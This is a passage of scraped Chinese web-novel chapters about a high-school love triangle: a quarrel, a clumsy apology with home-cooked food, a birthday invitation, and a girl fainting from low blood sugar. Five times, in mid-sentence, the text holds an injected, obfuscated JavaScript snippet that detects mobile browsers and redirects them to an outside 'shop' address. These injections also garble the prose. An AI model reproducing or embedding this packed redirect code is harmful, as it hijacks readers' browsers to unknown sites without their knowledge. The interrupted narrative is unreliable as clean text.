整整一天,霍鸷阳都没跟姜祁月搭上一句话,连晚自习结束,姜祁月也是自己打车回去的,第二天早晨更是坐公交车上学,来隔壁找人上课的霍鸷阳接连扑空。 这种事前所未有,很快便引起张淑琴和乔玉韵的注意,趁着两个小辈去上学时聚在一起聊天。 “能把小乖惹得生了这么大气,那混小子是做了什么啊。”张淑琴好奇极了,抓了把瓜子边磕边问:“小韵,小乖跟你透了底吗?” 乔玉韵轻轻摇头,同样很好奇:“小乖回来从没提过这件事,也没说跟小阳闹了矛盾。” “那就奇了怪了,小乖能忍住不往外说还能理解,那混小子憋到现在都不往外说就稀奇了。”张淑琴越说,好奇心就越重,到了最后坐都坐不住:“不行,等他回来我得好好问问,看他怎么惹小乖生了那么大气。” “问归问,注意点言辞。还有,小辈的事情咱们还是少插手,防止起了反作用。”乔玉韵声音轻柔的提醒了一句。 张淑琴点头如捣蒜:“放心吧,我心里有数。” 一整天,张淑琴都在思考怎么跟霍鸷阳提这事。活了这么多年,她还没有为了什么事这样麻烦过,这还真是头一遭。 好不容易想出来,还没派上任何用武之地。 因为霍鸷阳率先忍不住冷战待遇,寻求起张淑琴这个亲妈的援助。 青春期的少年最爱面子,说起冷战缘由时,霍鸷阳特意掩藏住自己对姜祁月的小心思,只说自己看不惯姜祁月有其他关系更好的朋友。 说着说着,还真情实感上了,耷拉着脑袋问亲妈:“妈,我才是从小跟小乖一起长大的吧?凭什么一个后来的人,比小乖跟我的关系还好?” 听完前因后果的张淑琴忍了又忍,好不容易才艰难忍住,没有当着霍鸷阳的面哈哈大笑。 她一直觉得霍鸷阳长大了,没想到心理年龄居然这么小,跟幼儿园的小朋友似的。不对,幼儿园时期的霍鸷阳都比这好。 “妈,你在想什么,怎么不说话?”霍鸷阳幽怨的朝张淑琴看去。 张淑琴恼羞成怒,一巴掌拍在儿子后背上:“催什么催?我耳朵又没出问题。” 霍鸷阳被拍了一巴掌倒也不生气,上道的倒了杯水放在亲妈手边,好言好语的问:“哦,那您觉得我现在应该怎么做。” 说到这个,张淑琴就有话要说了。 早些年她被乔玉韵拉着看了不少育儿书,许多内容都是适用孩子一生的经验,其中占有欲和友情篇更是如此。 奈何霍鸷阳从小到大过于叛逆,除了武力镇压外,书上的育儿方法没起到一点作用,这让她遗憾了很长一段时间,没想到峰回路转,多年后霍鸷阳突然出现和育儿书上的典例一模一样的状况,可算让她有发挥空间了。 “书上说了,朋友之间有占有欲很正常,但要做好自我调节,除了朋友外,每个人的人生中还会出现其他和朋友一样重要的人,甚至更重要的人存在。” 一口气说完这么多,张淑琴瞥了霍鸷阳一眼,立刻看出他在不服气,没好气的问他:“以后小乖说不定还会谈朋友,你总不能去跟小乖男朋友生气吧?” 斤斤计较,小肚鸡肠,油盐不进,也不知道是随了谁。 张淑琴默默评价道。 也就小乖能忍得了霍鸷阳这臭脾气。 刚在心里吐槽完,张淑琴就听见霍鸷阳幽幽问了句:“要是乔姨突然有了更好的朋友,还护着那个人,您会释然吗?” 张淑琴下意识拍桌子起身,怒目圆睁,气得差点要喷火:“释然个毛线!” 说完,张淑琴意识到自己找了套,脸上有些挂不住,又默默坐了回去,干咳一声板着脸说:“就算这样,你也不能明着跟人硬碰硬吧?除了打架你能赢,玩心眼你能玩得过谁哦?” 真不是她看不起亲儿子,实在是她太了解亲儿子了。“头脑简单,四肢发达”这句话,仿佛就是为了形容霍鸷阳存在的。就这脑子,还想跟谁斗? “那我应该?”霍鸷阳循循善诱。 姜祁月已经两天没理他了,反倒跟温绥晏越走越近,他这心里既暴躁又酸涩,抓耳挠腮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13638963|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也想不出改变现状的办法,真要他去道歉他又舍不下面子。 班里不少人都察觉到了不对劲,何杰他们甚至凑过来问了好几遍,想知道他们是不是因为温绥晏的事闹矛盾了。 “没脑子,你乔姨早就说过你这么冲动迟早得吃亏,现在可不就是吗。”张淑琴恨铁不成钢的骂道:“你就不能吸取点教训,能屈能伸一点吗?但凡你聪明一点大度一点,事情都不会变成现在这样。” 到了现在,张淑琴也不拿书里那些大道理出来说事。性格使然,她跟霍鸷阳的相处模式比起母子,更像是朋友,什么话都能说。 “现在这个情况,你除了道歉外就没别的办法缓解了,道完歉后你就别跟对方硬碰硬了,有空多把心思放在学习上,小乖不是喜欢讨论题目吗?等你成绩上来了,还怕没话题聊?”张淑琴说完,心里颇为无语。 她是真没想到自己还有为了维护霍鸷阳友谊出谋划策的一天,传出去她都没脸见人。 “好,我知道了。”霍鸷阳若有所思地点头,可算是把话给听进去了。 其实他早就动了道歉的心思,就是一直憋着股气,仿佛道歉就低了温绥晏一等。现在经过张淑琴的开导,他也看开了。 比起那些虚的,还是早点跟小乖说开更重要。 “对了妈……”霍鸷阳欲言又止。 张淑琴没好气:“有话就说。” “爸什么时候回来,我想跟他学一学做菜。”霍鸷阳难得有些难为情,说话都觉得别扭。 张淑琴乐了:“成,你爸本来就打算等你高考完教你,等他今晚回来你自己跟他说。刚好学成后给小乖送一份过去,好好修复一下关系。” 她是真不擅长做菜,所有天赋都点在绘制装修图纸上,做出来的东西也就能吃的程度,非常普通,但霍鸷阳他爸跟小乖爸爸一样,都做得一手好菜,让人吃了还想吃一辈子。 “嗯。”霍鸷阳这会儿也顾不上别扭了,颇为赞同的点头。 他自信满满地想着,只要勤快点多学一学,自己很快就能学到亲爸的精髓。听说当年他爸就是这么追上他|妈|的,学会他爸的厨艺,还怕修复不好关系吗? 想到这里,多日的阴霾一扫而空,霍鸷阳心情重新变好。 到时候温绥晏在他面前,就没了任何竞争力。 此时的他并没有想到,自己的学习能力一点都不强…… 27.独发,禁止转载 “小阳最近在做什么,怎么你们院子里总是烟雾缭绕的?”乔玉韵停下画画的动作,目光转向来蹭汤喝的张淑琴。 “别提了。”张淑琴挥了挥手,一言难尽的摇头:“他说自己惹小乖生气了,想学做菜请小乖吃饭,弥补一下友情,没想到他压根没遗传到他爸的厨艺天赋,这两天一直在炸厨房。” 乔玉韵听了,眼中笑意更浓,唏嘘道:“没想到小阳还能想出这种法子。” 前几天张淑琴就把两个小辈闹矛盾的原因说出来了,乔玉韵听后哭笑不得,没有插手这件事的意思,拉着张淑琴一起隔岸看热闹。 “可不就是。算了,随他们折腾去。”张淑琴洒脱摆手,大口大口喝起汤,也懒得再管这事了。 这几天炸厨房的场面,已经耗尽她为数不多的母爱,只有跑来隔壁才能蹭点正常的东西吃,别提有多惨。 这么大的动静,姜祁月当然也注意到了。 周六的时候,她就好奇霍鸷阳在家做什么,怎么天天烟雾缭绕,飘得还是呛鼻子的黑烟。味道浓到她待在卧室里都能闻到。 但她心里还记挂着霍鸷阳不愿意道歉的事,便压下好奇不再去探究,专注于复习知识点。 再过不久就要准备第一次联考了,她想拿到让人一看就觉得非常亮眼的成绩。 至于霍鸷阳…… 姜祁月心里虽然憋着气,对道歉的事寸步不让,但并不是真的不管霍鸷阳了。在学校的时候她就注意到霍鸷阳还在坚持刷题,有时候甚至主动拿着题目去问老师。 她很了解霍鸷阳,知道他这么努力,有很大一部分原因是在跟温绥晏较劲。 幼稚归幼稚,总归影响是正面的,姜祁月没有插手干涉,反而乐见其成。 霍鸷阳的改变带来的连锁反应出乎意料地大。最先作出改变的,就是以何杰为首的小弟军团。 跟温绥晏较劲上的霍鸷阳,不愿接受自己身边的小弟们没有围在温绥晏身边的人聪明,板着脸让小弟们好好学习,成绩差的以后走出去别说是他小弟。 小弟们是怎么叫苦不迭的暂且不提,班里其他人看见霍鸷阳和他那些小弟们都开始好好学习,压力前所未有地大。 氛围对人的影响很大,原本即将放弃的人重新支棱起来,继续苦哈哈复习考点。 自甘堕落的人见找不到垫背的人了,再摆烂下去很不合群,也拿起书本开始学习,就算效果不是立竿见影的好,但比什么都不学要好无数倍。 这些潜移默化的变化,身处其中的人或许感觉不到,但班主任和其他老师看得分明,私底下不知道跟其他老师聚在一起感慨了多少遍,他们都在祈祷这种良好的学习氛围能持续得再久一点。 除了道歉的事没有结果,其他的姜祁月都很满意。 愧疚使然,姜祁月对温绥晏越来越纵容,从来没有拒绝过温绥晏见面的提议,聊得话题也越来越广泛,包括对未来的打算。 “家里的意思是送我出国镀层金,高考前就会离开。” 说这句话时,温绥晏深情的眼眸带上几分悲伤。 他轻叹一声,认真地对姜祁月说:“虽然还有将近一年的时间,但我很舍不得你……” 他们见面的地点,选在霍鸷阳和姜祁月之前经常来吃饭的地方,是一座坐落于池塘边的静谧小亭子。 周围风景非常好,全是花草树木。 美中不足的是位置稍微有点偏,建在教学楼背面,平时很少有人来这边。 在温绥晏以讨论题目为由,经常跟着一起到这边吃饭前,这个小亭子几乎可以说是霍鸷阳和姜祁月的秘密基地。 不过人少并不是坏事。 比如此刻。 氛围渐渐升温,心底也越发躁动。 对上温绥晏那双充满悲伤的眼眸,姜祁月有些恍神,心脏再次失控,跳动速度越来越快。 她已经分不清这是自己第几次心悸,只知道每次这时候,想询问温绥晏是不是喜欢自己的念头都会达到顶峰。 每次理智都会将她拉回来,不允许她做出出格举动,但次数多了,姜祁月明显感觉到自己在动摇。她不确定再来几次,自己会不会大着胆子问出会改变一切的问题。 姜祁月清楚地知道,只要自己问出那个问题,改变的不仅是她和温绥晏的关系,还会打碎她努力粉饰了这么久的太平。 话到嘴边,她还是迟疑了。 算了,再等等吧。 姜祁月刚生起这个想法,就察觉到身边的人靠近了几分。 她甚至能感受到传递过来的体温。 对其他人来说,这种距离不算什么,但对姜祁月而言,实在太近了。 耳畔传来一声轻笑,伴随轻笑声一道响起的,是温绥晏的低声询问。 “祁月,你就没什么想对我说的吗?” 你就没什么想说的吗? 怎么可能没有…… 姜祁月沉默许久,鼓起勇气开口:“我……” 才说出一个“我”字,就被冷不丁冒出来的声音打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656073|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “呦,都在这儿啊,那就好办了。” 姜祁月下意识回头,眸中还带着茫然神色。 是霍鸷阳。 整整五天没说一句话的人突然若无其事的凑上来,实在有些奇怪。 好不容易营造的气氛被破坏,温绥晏难得皱眉,语气不是很好的问:“你怎么过来了?” “这是我跟小乖经常吃饭的地方,你能来我就更能来了?”霍鸷阳哼笑一声,在姜祁月看不见的角度居高临下地打量了温绥晏一眼,眼底满是不屑。 霍鸷阳从小就活泼爱动,运动量很大,个子更是如笋般猛窜,看起来又高又壮,居高临下看人时,非常有压迫感。 相较于他,温绥晏就有些不能比了。 意识到这一点,温绥晏差点挂不住温柔面具。 他刚想拿上次篮球场的事说话,引起姜祁月对他的同情,就听霍鸷阳悠悠开口道歉,直接解决他卖惨的根源。 “上次篮球场的事是我不对,不该那么强人所难,你要是生气可以揍我一顿解气,我绝不还手。” 突如其来的道歉让在场剩下的两个人都惊讶至极。 不同于姜祁月的长舒一口气,温绥晏面色肉眼可见变差,哪怕竭尽全力维持假笑,看着也很牵强难看。 他一字一顿地说:“没关系,我不生气。” 话都说到这个程度了,他要是真计较着打霍鸷阳一顿解气,不就搬起石头砸自己的脚,让姜祁月转而埋怨他了吗? 好心机,好算计。 短短几天不见,霍鸷阳怎么变聪明了这么多? “不生气就好。”笑容转移到霍鸷阳脸上,他一把挤开温绥晏,拿出保温盒红着脸说:“小乖,我这几天学了做菜,你尝尝看味道怎么样,我已经道过歉了,你能不能别生我气了?” 姜祁月无奈道:“现在才大课间,还没到吃饭的时候呢。” 话虽如此,她并没有拒绝霍鸷阳的投喂。 被霍鸷阳一掺和,姜祁月满脑子都是霍鸷阳终于道歉的事,压根忘了自己要跟温绥晏说什么。 温绥晏脸上挤出来的笑更挂不住了,差点被气到吐血。 霍鸷阳则无比庆幸自己心急,一直跟在姜祁月身后,不然现在温绥晏已经得逞了! 还好他及时出现,把一切又纠正了回去。 想到这里,霍鸷阳敌视的瞥了温绥晏一眼,眼底满是警告。 他在警告温绥晏不要做越界的举动,不然他一定会让温绥晏后悔。 28.独发,禁止转载 警告完温绥晏,霍鸷阳注意力又放在姜祁月身上。 看见姜祁月吃下自己亲手做的菜,霍鸷阳眼中满是期待和紧张,眼巴巴的盯着姜祁月看,紧张兮兮的问:“好吃吗?” 为了做出这一饭盒的菜,他努力了好几天,不知道炸了几次厨房。 好在努力终有回报,他也能做出像模像样的菜了。 他提前试过味道,不说有他爸做得好,但十之七八还是有的。 对新学做菜的新手来说,已经非常不错了,假以时日,说不定会青出于蓝而胜于蓝。 越想,霍鸷阳越飘飘然。 区区温绥晏,不足为惧。 “嗯,很好吃,没想到你还有这个天赋。”姜祁月眼角微弯,多日以来第一次对霍鸷阳露出笑容。 霍鸷阳恍惚的点头,说话有些结巴:“好,好吃就好,你喜欢吃我以后继续给你做。”虽然做菜需要起得很早,但只要姜祁月喜欢,一切就都值得。 “不用,吃一次就够了,你现在最需要做的是好好学习,有不会的题目记得问我。”姜祁月摇头,将饭盒收拾好,沉思片刻后,认真地对霍鸷阳说:“这次温绥晏原谅你就算了,不要再有下次了。” 霍鸷阳脸上的笑容凝固住,好半晌才在姜祁月的注视下应声:“哦,我知道,不会有下次了。” 激动情绪褪去,霍鸷阳慢慢冷静下来,察觉到姜祁月对自己的态度发生了变化。 隔阂已经产生了,没有那么好弥补。 放在之前,姜祁月绝对不会当着其他人的面这样跟他说话。 现在当着温绥晏的面说这些,可不就是另类表态,如果再有下次,就算温绥晏不计较,她也不会再理他。 霍鸷阳心急如焚,又找不到好的处理办法,只能眼睁睁看着温绥晏挨近姜祁月。 两人脸上的笑落在霍鸷阳眼里无比刺眼。不知从何时起,温绥晏渐渐替代了他在姜祁月身边的位置,甚至更加亲密。 他干巴巴开口,也不知道是对谁说的:“还有五分钟上课,再不回去就来不及了。” 捕捉到关键词的姜祁月立刻起身,匆忙跟温绥晏道别:“那我就先走了,下次见。” “下次见。”温绥晏笑着挥了挥手,贴心提醒了一句:“时间足够,路上跑慢点,小心摔了。” 依依惜别的场景让霍鸷阳面色更难看,直到回教室才和缓下来。 “还好赶上了。”姜祁月刚落座不久,就听见上课铃打响,长舒一口气。 霍鸷阳把饭盒放回桌肚,顺口回道:“赶不上也没关系,这两天开教师会,取消大课间活动,老师从会议室赶来教室上课也需要几分钟时间。” 简单几句话,就让霍鸷阳产生了恍若隔世的感觉。 他感觉自己好久没有在教室里跟姜祁月搭上话了。 不仅他这样想,班里其他同学也是。 从小到大一直黏在一起的人突然分开,不动脑子想都知道肯定闹矛盾了。除了凑热闹,更有甚者甚至下注打赌他们什么时候和好。 苏浅灿距离他们最近,胆子也大,见老师没来,回头压低声音问:“你们两和好了?” 不等两个当事人回答,她又自顾自叹了口气:“应该是和好了吧?再不和好,我都要被霍鸷阳的眼神给刀死了。” “有那么夸张吗?”姜祁月同样压低声音回了一句,被苏浅灿浮夸的语言和面部表情逗笑了。 “一点都不夸张!”苏浅灿疯狂摇头。 这几天一下课姜祁月就找她聊天,半句话都不跟霍鸷阳说,每节课下课苏浅灿都会经历一次霍鸷阳犀利眼神的洗礼,连上课也逃不开。 天知道她坐在前排有多受煎熬。 姜祁月和霍鸷阳闹了几天矛盾,她就几天没敢扭头看后排,生怕对上霍鸷阳能刀死人的眼神。 太可怕了。 “我要是真能刀死你,你早就被刀死了,还能等到现在?”霍鸷阳没好气地瞥了苏浅灿一眼。 苏浅灿一看,就跟抓到什么天大的把柄一样,立刻扒拉住姜祁月的手,委屈巴巴地说:“月月你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666609|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他又凶我。” “浅灿胆小,你别欺负她。”姜祁月不赞同地看向霍鸷阳。 苏浅灿得意洋洋:“就是就是,听见了没有,我胆子小。” “无聊。” 霍鸷阳吐槽都不知道从什么地方吐槽好,无语的别过脸,看都不想再看苏浅灿一眼。又是个跟温绥晏一样脸皮厚的。 “算了,我大人有大量,不跟你计较。”苏浅灿大手一挥,迅速回头朝教室门口看了眼,确保没老师进来才敢回头继续说话:“下周日我过生日,你们俩记得过来吃生日蛋糕,到时候地址发小群里。放心,就请了几个关系不错的,大家互相都认识,不会尴尬的。” “好,我一定会去的。”姜祁月唇角上扬,澄澈漂亮的眼眸中满是笑意:“提前祝你生日快乐。” 苏浅灿豪气万千:“还早着呢,下周再说祝福也不迟,到时候给你切块最大的蛋糕。” “那我可要多吃几口。”姜祁月笑意更浓。 霍鸷阳冷不丁冒出来一句故意气人的话:“去吃生日蛋糕可以,礼物就没了啊。” 苏浅灿气笑了:“就你抠,你可别因为没礼物不敢来吧。” 眼看他们要吵起来,姜祁月脑袋都大了,小声提醒道:“你们注意一点,老师快来了。” 刚刚她听见探出脑袋的同学传信说老师上楼了。 “算你运气好。”苏浅灿冷哼一声,别过头等待起上课。 霍鸷阳回了个冷笑。 “你也是,老师都要来了,书都没拿出来。”姜祁月轻轻敲了下霍鸷阳的课桌。 轻飘飘的语气莫名带着股威慑力。 霍鸷阳不敢耍小动作,连忙拿出这节课要用到的课本。 见他还算老实,姜祁月收回目光,放心拿出教材继续复习。 一节课结束,班里许多人都凑到苏浅灿那边打探消息。 经过之前几次,他们也不敢凑到姜祁月那边问东问西了。 毕竟姜祁月虽然好说话,但她身边的校霸同桌很凶残可怕啊! 29.独发,禁止转载 不过比起之前的低气压,现在的霍鸷阳要正常太多,起码不会有随时会爆炸的感觉。 赌输了的人虽然失去了零花钱,但都长舒一口气。 班里要是再这样低气压下去,他们都不敢路过霍鸷阳那边扔垃圾。现在好了,一切都恢复如常,又有人能管住霍鸷阳了。 姜祁月自然察觉到班里的氛围变轻松了,奇怪的侧眸询问霍鸷阳:“你这段时间做什么了吗?” “我都忙成那样了,还能做什么?”霍鸷阳不答反问,就差喊一句天地良心了。 要怪就怪他积威已久,就算什么都不做,光阴沉着脸坐着,都能让人脑补出一堆东西。更别说能管住他的人不再理他,在其他人眼里,等同于恶犬失去束缚它的绳索,哪怕恶犬只是在那里趴着,威慑力也大得惊人。 “那就好,你继续做题目,我先出去一下,有不会的题目等下节课再问我。”姜祁月点头,起身离开教室。 身后霍鸷阳咬牙切齿,眼睁睁看着姜祁月离开,什么也不敢做。 他能猜到姜祁月要去干什么,但他怕姜祁月不高兴,怂到甚至不敢跟上去,只能不断安慰自己,等题目刷完后就能跟姜祁月有共同话题了。 凭着这股信念,他还真坚持下来,夜以继日刷完了一整套数学试卷。 拿到全套模拟卷的姜祁月非常满意。 “早就说过了你不笨,要是好好学,怎么可能及不了格。”姜祁月一边翻卷子,一边小声嘟哝:“要是你早点努力,淑琴阿姨就不会生那么多次气了。” 张淑琴在成绩方面很看得开,她要的不是分数,她要的是霍鸷阳的态度,偏偏霍鸷阳油盐不进,高中前还算收敛,高中后别说给态度了,不找人打架就算相当不错。 不过高中前的底子还在,现在把基础知识捡起来不算晚,不说考多少分,一百五十分的卷子考个八九十分还是可以试一试的。 苏浅灿生日后不久就到联考,到时候淑琴阿姨看到霍鸷阳的卷子,一定会非常高兴。 想到这里,姜祁月又想起另一件事:“对了,之前不是说要转班吗?进度怎么样?” 按照霍鸷阳现在的进步速度,想上本科有些艰难,但霍鸷阳的天赋大半点亮在运动细胞上,转班成功后再苦练一段时间专业课,配上文化课成绩,还是能冲一所非常不错的大学的。 好歹有从小一起长大的情分在,姜祁月盼着霍鸷阳变好。 “还不错。” 霍鸷阳眉梢微扬,说到这个心情就非常好:“前几天老班跟我说可以转,不过两个班文化课进度不同,加上他们都知道我有人开小灶补课,就允许我继续留在原本的班里上课,只要每天晚自习去跟体育班一起集训就行。” 对他来说,这可真是意外之喜。 早知道能这样操作,还不如早点转过去。 “那就好。”姜祁月闻言,总算是放下心。 高三正是关键的时候,这个时候转班的人寥寥无几,需要背负的压力太大了,也就霍鸷阳四肢发达,换成其他人突然过去,能不能受得住体育班的高强度集训都另说。 “不说这个了,听说明天教师会议结束,估计大课间得重新晨跑,你就别去见温绥晏了。”说完,霍鸷阳担心姜祁月不高兴,连忙补充道:“我没有别的意思,就是觉得晨跑完再去见别人,会赶不及上课。” 姜祁月听完沉默许久,半晌才合上试卷,抬眸问:“在你心里,我就是这样不分轻重缓急的人吗?” 就算意识到自己对温绥晏有好感,总是趁下课时间见面,姜祁月也很有原则,从来不会耽误上课时间,更不会不分轻重缓急。 但霍鸷阳显然不这么想,甚至把温绥晏当作祸国殃民的妖物,视其为洪水猛兽,把她当成被妖物迷惑心智的君王,时不时就要在旁边提点两句。 闹矛盾那几天难得安静,没想到和好后,霍鸷阳又有卷土重来的架势。 “我没有,我不是。”霍鸷阳慌忙摇头,生怕被误会,急得额头直冒冷汗。 这副模样,显然是对前几天闹矛盾的事,留下了很深的心理阴影。 “我知道你没有,就是开玩笑。”姜祁月心软了几分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673187|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松口道:“放心,我不会耽误上课时间的。” “那就好,那就好。”霍鸷阳点头如捣蒜,除此之外就不敢说其他的了。 还是姜祁月主动换了个话题,他才敢搭几句话,说完还不忘小心翼翼观察姜祁月神色,生怕哪句话说的不好,又惹姜祁月生气了。 像姜祁月这种好脾气的人很少生气,每次生气都很严重,其中最为严重的就是前几天那次。 霍鸷阳想,那种煎熬自己这辈子都不想再经历了。 …… 教师会议足足开了一周,结束后的第二天,大课间就恢复了晨跑。 当天大课间前一节课,班主任宣布了联考的消息。 “这次联考比往届规模都大,从原本的十八校变成二十六校联考,包含了咱们市所有高中,二十六所学校商议后决定出一套原创试卷给大家考,当然了,试卷难度会尽可能照顾到每个学校的学生,不会出的特别难。” 这个消息引来的议论声两极分化严重。 对于成绩不错的学生而言,这种规模的联考非常有含金量,能够清晰看出自己距离心仪的大学还有多少差距。但对成绩稍差的学生来说,这次联考就是被降维打击。 毕竟另外八所加进来联考的学校之前一直自恃学霸多,不肯屈尊降贵和其他学校联考,现在突然加进来,他们本就稀巴烂的排名肯定更不能看。 他们倒是老油条无所谓,但家里人知道后肯定不会轻易放过他们。 有人欢喜有人愁。 大课间集合铃响起,还有一堆人在讨论这事,就连晨跑也没挡住他们交谈。 姜祁月顾不上这些。 比起联考,有件更要命的事摆在眼前。 这段时间不晨跑,她几乎没有任何运动量,现在冷不防恢复晨跑,累暂且不提,她感觉自己有点低血糖了,全靠身体本能抬脚往前跑。 每走一步,姜祁月都觉得自己脚上挂了千斤重,眼前也阵阵犯晕。 更麻烦的是,不知不觉中她已经脱离了班级晨跑队伍,周围没有一个认识的人。 30.独发,禁止转载 双腿像是下入沸水中的面条般慢慢变软。 姜祁月眼前一黑,整个人往前倾倒。 即将落地前,一双手匆忙将她扶起来,熟悉的嗓音带着几分急切。 “祁月,你还好吧?” 温绥晏一边询问,一边将姜祁月扶到跑道内的操场里。 关切声落入姜祁月耳中,她却头晕眼花,给不出半点回应,本就白皙的面色此时更是如同白纸般苍白可怕,看不出一丝血色。 要不是温绥晏在一边扶着,她连站都站不稳。 即便没有回答,也能看出姜祁月的状态一点也不好。 正当温绥晏四处张望有没有老师在时,身后突然着急忙慌跑来一个人。 距离近了才发现是霍鸷阳。 不给温绥晏说话的机会,霍鸷阳就一把将人挤开,亲自扶着姜祁月另一侧,声音带着几分跑了很久的急促沙哑:“怎么突然成这样了?” “我刚刚跑步的时候看见她脱离班级队伍,速度越来越慢,就觉得有些奇怪,没想到走近了才发现她快晕过去了。”温绥晏简单解释了一遍,生怕霍鸷阳乱扣帽子。 每个班都有自己的晨跑队列顺序,温绥晏他们班刚好跟在姜祁月他们班后面,发生什么情况都能注意到。 霍鸷阳和姜祁月虽然是一个班的,但一个站前面,一个站在中间,真落下队伍了还真不好发现。这次发现也是听见从后排传来了议论声,不然霍鸷阳根本想不到回头看,更想不到之前晨跑都好好的,这次突然发生意外。 不过不管怎么说,这件事确实多亏温绥晏帮忙。 霍鸷阳态度变好许多,还破天荒说了句谢谢,慢慢扶姜祁月坐下:“应该是低血糖。”说完,就要从口袋里拿糖。 小学体检的时候,医生就说姜祁月有点低血糖,不过不严重,稍微注意点就行。 这么多年确实没出过任何问题,渐渐的都没人放在心上,就连姜祁月也快忘了。不过霍鸷阳在跟姜祁月相关的事情上格外执着,坚持在口袋里放了很多年糖,糖的口味也很讲究,是姜祁月最爱的柠檬味,之前那些糖都是用来哄姜祁月高兴的,没想到还真有派上大用场的时候。 可他还没来得及把糖拿出来,便被温绥晏抢了先。 一粒圆润饱满的水果糖被喂入姜祁月口中。 霍鸷阳愣住了,目光转而看向温绥晏。 温绥晏轻笑一声,淡然自若地说:“前几天见面的时候,祁月跟我说过小时候的事,当时就想着准备点糖以防万一,没想到几天后还真能派上用场。你说巧不巧?” 这个问题霍鸷阳一点都不想回答,心里又酸又涩,握着糖的手掌用力到泛白,面色也黑了好几个度,不知道的还以为他被谁欠了几百万。 不过温绥晏显然不在意他的回答,喂完糖后,目光一直落在姜祁月身上,神色专注的样子引来一众人好奇注视。 要不是在晨跑,此时他们身边已经围了一大群人了。 就连老师也注意到异常,赶来问了两句有没有事,亲眼看着姜祁月面色恢复,才敢放心离开。 缓了十来分钟,姜祁月可算是缓过神来,自己都有些不敢相信自己会突然低血糖。 惊讶完,她又看向温绥晏,露出一个稍显虚弱的笑,像极了精致脆弱的琉璃娃娃:“这次真是谢谢你的糖了。” “朋友之间还用说这么多谢谢吗?”温绥晏语调轻松地反问。 姜祁月听后笑容真切许多:“你说的对,那就不说谢谢了。” “要不要多吃几粒糖?我口袋里也有。” 一旁被无视的霍鸷阳有些着急。他到现在都想不明白,温绥晏运气怎么就那么好,速度也快,他还没从口袋拿出糖,对方就已经喂姜祁月吃下了。 顿了顿,霍鸷阳暗戳戳补充了一句:“是你最爱吃的柠檬味,我一直装着。” 和他想的一样,姜祁月心软,听完后就想说些什么。 但她开口前,温绥晏却恰好出声说:“谢谢,不过我这袋糖刚好拆了,还有好几粒没吃,应该用不上你的。” 这番话说出来,脾气再好的人脸上都会挂不住。 霍鸷阳忍了很久才忍住不发作,皮笑肉不笑地说:“我跟小乖的关系用不着其他人帮忙说谢谢,而且用不用得上,得当事人自己说了才算。” “不用了,我现在已经恢复了,有需要的话吃没吃完的那包就行,防止浪费。”姜祁月适时开口,心里还记挂着温绥晏之前妥协了好几次的事,不想再委屈温绥晏。 温绥晏将糖递到姜祁月手里,温声说:“就算没有相关需要也可以留着慢慢吃,特意给你买的,留着吧。” 目睹这一幕的霍鸷阳根本笑不出来。 他觉得自己真是贱得慌,明知道姜祁月和温绥晏关系越来越好,不需要他鞍前马后也能被照顾得很好,但这心里就是忍不住,总觉得交给其他人不放心,非得过来看着才踏实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687390|140479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踏实是踏实了,但看着他们蜜里调油的样子,又暴躁的恨不得把他们撕开。 所幸晨跑很快结束,各班有序排队离开。 看着温绥晏离去的背影,霍鸷阳郁闷许久的心终于舒服了,紧皱着的眉心也慢慢松开,想扶着姜祁月回班。 